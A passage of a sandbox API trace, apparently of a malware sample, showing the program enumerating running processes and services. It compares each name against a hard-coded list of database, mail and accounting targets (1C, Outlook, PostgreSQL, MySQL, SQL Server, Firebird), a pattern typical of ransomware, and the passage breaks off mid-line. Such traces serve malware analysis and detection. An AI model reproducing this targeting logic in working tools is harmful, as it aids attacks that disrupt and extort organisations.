th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0218.806] lstrlenW (lpString="svchost.exe") returned 11 [0218.807] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0218.807] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0218.807] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0218.807] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0218.807] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0218.807] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0218.807] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0218.807] Process32NextW (in: hSnapshot=0x384, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0218.809] lstrlenW (lpString="svchost.exe") returned 11 [0218.809] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0218.809] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0218.809] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0218.809] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0218.809] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0218.809] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0218.809] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0218.810] Process32NextW (in: hSnapshot=0x384, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0218.811] lstrlenW (lpString="svchost.exe") returned 11 [0218.811] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0218.811] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0218.811] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0218.811] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0218.811] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0218.811] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0218.812] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0218.812] Process32NextW (in: hSnapshot=0x384, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0218.813] lstrlenW (lpString="svchost.exe") returned 11 [0218.813] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0218.813] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0218.813] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0218.813] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0218.813] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0218.814] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0218.814] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0218.814] Process32NextW (in: hSnapshot=0x384, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0218.816] lstrlenW (lpString="svchost.exe") returned 11 [0218.816] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0218.816] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0218.816] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0218.816] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0218.816] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0218.816] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0218.817] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0218.817] Process32NextW (in: hSnapshot=0x384, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0218.818] lstrlenW (lpString="audiodg.exe") returned 11 [0218.818] lstrcmpiW (lpString1="1c8.exe", lpString2="audiodg.exe") returned -1 [0218.818] lstrcmpiW (lpString1="1cv77.exe", lpString2="audiodg.exe") returned -1 [0218.818] lstrcmpiW (lpString1="outlook.exe", lpString2="audiodg.exe") returned 1 [0218.819] lstrcmpiW (lpString1="postgres.exe", lpString2="audiodg.exe") returned 1 [0218.819] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="audiodg.exe") returned 1 [0218.819] lstrcmpiW (lpString1="mysqld.exe", lpString2="audiodg.exe") returned 1 [0218.819] lstrcmpiW (lpString1="sqlservr.exe", lpString2="audiodg.exe") returned 1 [0218.819] Process32NextW (in: hSnapshot=0x384, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0218.820] lstrlenW (lpString="svchost.exe") returned 11 [0218.820] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0218.820] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0218.821] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0218.821] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0218.821] Process32NextW (in: hSnapshot=0x384, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0218.822] lstrlenW (lpString="userinit.exe") returned 12 [0218.822] Process32NextW (in: hSnapshot=0x384, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0218.823] lstrlenW (lpString="explorer.exe") returned 12 [0218.823] Process32NextW (in: hSnapshot=0x384, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0218.825] lstrlenW (lpString="dwm.exe") returned 7 [0218.825] Process32NextW (in: hSnapshot=0x384, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0218.827] lstrlenW (lpString="svchost.exe") returned 11 [0218.827] Process32NextW (in: hSnapshot=0x384, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x368, pcPriClassBase=8, dwFlags=0x0, szExeFile="driver.exe")) returned 1 [0218.828] lstrlenW (lpString="driver.exe") returned 10 [0218.828] Process32NextW (in: hSnapshot=0x384, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0218.830] lstrlenW (lpString="spoolsv.exe") returned 11 [0218.830] Process32NextW (in: hSnapshot=0x384, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x554, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0219.190] lstrlenW (lpString="taskhost.exe") returned 12 [0219.190] Process32NextW (in: hSnapshot=0x384, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0219.191] lstrlenW (lpString="svchost.exe") returned 11 [0219.191] Process32NextW (in: hSnapshot=0x384, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0219.193] lstrlenW (lpString="dllhost.exe") returned 11 [0219.193] Process32NextW (in: hSnapshot=0x384, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0219.194] lstrlenW (lpString="reader_sl.exe") returned 13 [0219.194] Process32NextW (in: hSnapshot=0x384, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 0 [0219.195] CloseHandle (hObject=0x384) returned 1 [0219.196] Sleep (dwMilliseconds=0x1f4) [0219.759] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x41c31f8 [0220.176] EnumServicesStatusExW (in: hSCManager=0x41c31f8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 0 [0220.191] GetLastError () returned 0xea [0220.191] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xc10) returned 0x41d0998 [0220.191] EnumServicesStatusExW (in: hSCManager=0x41c31f8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x41d0998, cbBufSize=0xc10, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x41d0998, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 1 [0220.198] CloseServiceHandle (hSCObject=0x41c31f8) returned 1 [0220.199] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0220.199] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0220.199] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0220.199] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0220.199] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0220.199] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0220.199] lstrlenW (lpString="AudioSrv") returned 8 [0220.199] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0220.200] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0220.200] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0220.200] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0220.200] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0220.200] lstrlenW (lpString="BFE") returned 3 [0220.200] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0220.200] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0220.200] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0220.200] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0220.200] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0220.200] lstrlenW (lpString="CryptSvc") returned 8 [0220.201] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0220.201] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0220.201] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0220.201] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0220.201] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0220.201] lstrlenW (lpString="CscService") returned 10 [0220.201] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0220.201] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0220.201] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0220.201] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0220.201] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0220.201] lstrlenW (lpString="DcomLaunch") returned 10 [0220.202] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0220.202] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0220.202] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0220.202] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0220.202] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0220.203] lstrlenW (lpString="Dhcp") returned 4 [0220.203] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0220.203] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0220.203] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0220.203] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0220.203] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0220.203] lstrlenW (lpString="Dnscache") returned 8 [0220.203] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0220.203] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0220.204] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0220.204] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0220.204] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0220.204] lstrlenW (lpString="DPS") returned 3 [0220.204] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0220.204] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0220.204] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0220.204] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0220.204] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0220.204] lstrlenW (lpString="eventlog") returned 8 [0220.204] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0220.204] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0220.204] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0220.205] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0220.205] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0220.205] lstrlenW (lpString="EventSystem") returned 11 [0220.205] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0220.205] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0220.205] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0220.205] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0220.205] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0220.205] lstrlenW (lpString="gpsvc") returned 5 [0220.205] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0220.205] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0220.205] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0220.205] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0220.205] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0220.205] lstrlenW (lpString="LanmanWorkstation") returned 17 [0220.206] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0220.206] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0220.206] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0220.206] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0220.206] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0220.206] lstrlenW (lpString="lmhosts") returned 7 [0220.206] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0220.206] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0220.206] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0220.206] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0220.207] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0220.207] lstrlenW (lpString="MMCSS") returned 5 [0220.207] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0220.207] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0220.207] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0220.207] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0220.207] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0220.207] lstrlenW (lpString="MpsSvc") returned 6 [0220.207] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0220.207] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0220.208] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0220.208] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0220.208] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0220.208] lstrlenW (lpString="NlaSvc") returned 6 [0220.208] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0220.208] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0220.208] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0220.208] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0220.208] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0220.208] lstrlenW (lpString="nsi") returned 3 [0220.208] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0220.208] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0220.209] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0220.209] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0220.209] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0220.209] lstrlenW (lpString="PlugPlay") returned 8 [0220.209] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0220.209] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0220.209] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0220.209] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0220.209] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0220.209] lstrlenW (lpString="Power") returned 5 [0220.209] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0220.209] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0220.209] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0220.210] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0220.210] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0220.210] lstrlenW (lpString="ProfSvc") returned 7 [0220.210] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0220.210] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0220.210] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0220.210] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0220.210] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0220.210] lstrlenW (lpString="RpcEptMapper") returned 12 [0220.210] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0220.210] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0220.211] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0220.211] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0220.211] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0220.211] lstrlenW (lpString="RpcSs") returned 5 [0220.211] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0220.211] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0220.211] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0220.211] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0220.211] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0220.211] lstrlenW (lpString="SamSs") returned 5 [0220.211] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0220.212] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0220.212] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0220.212] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0220.212] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0220.212] lstrlenW (lpString="Schedule") returned 8 [0220.212] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0220.212] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0220.212] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0220.212] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0220.212] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0220.212] lstrlenW (lpString="SENS") returned 4 [0220.213] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0220.213] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0220.213] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0220.213] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0220.213] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0220.213] lstrlenW (lpString="ShellHWDetection") returned 16 [0220.213] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0220.213] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0220.213] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0220.213] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0220.213] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0220.213] lstrlenW (lpString="Spooler") returned 7 [0220.213] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0220.213] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0220.214] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0220.214] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0220.214] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0220.214] lstrlenW (lpString="Themes") returned 6 [0220.214] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0220.214] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0220.214] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0220.214] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0220.214] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0220.214] lstrlenW (lpString="UxSms") returned 5 [0220.214] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0220.215] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0220.215] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0220.215] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0220.215] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0220.215] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x41d0998 | out: hHeap=0x880000) returned 1 [0220.215] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x30c [0220.221] Process32FirstW (in: hSnapshot=0x30c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0220.222] Process32NextW (in: hSnapshot=0x30c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0220.222] lstrlenW (lpString="System") returned 6 [0220.223] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0220.223] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0220.223] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0220.223] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0220.223] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0220.223] lstrcmpiW 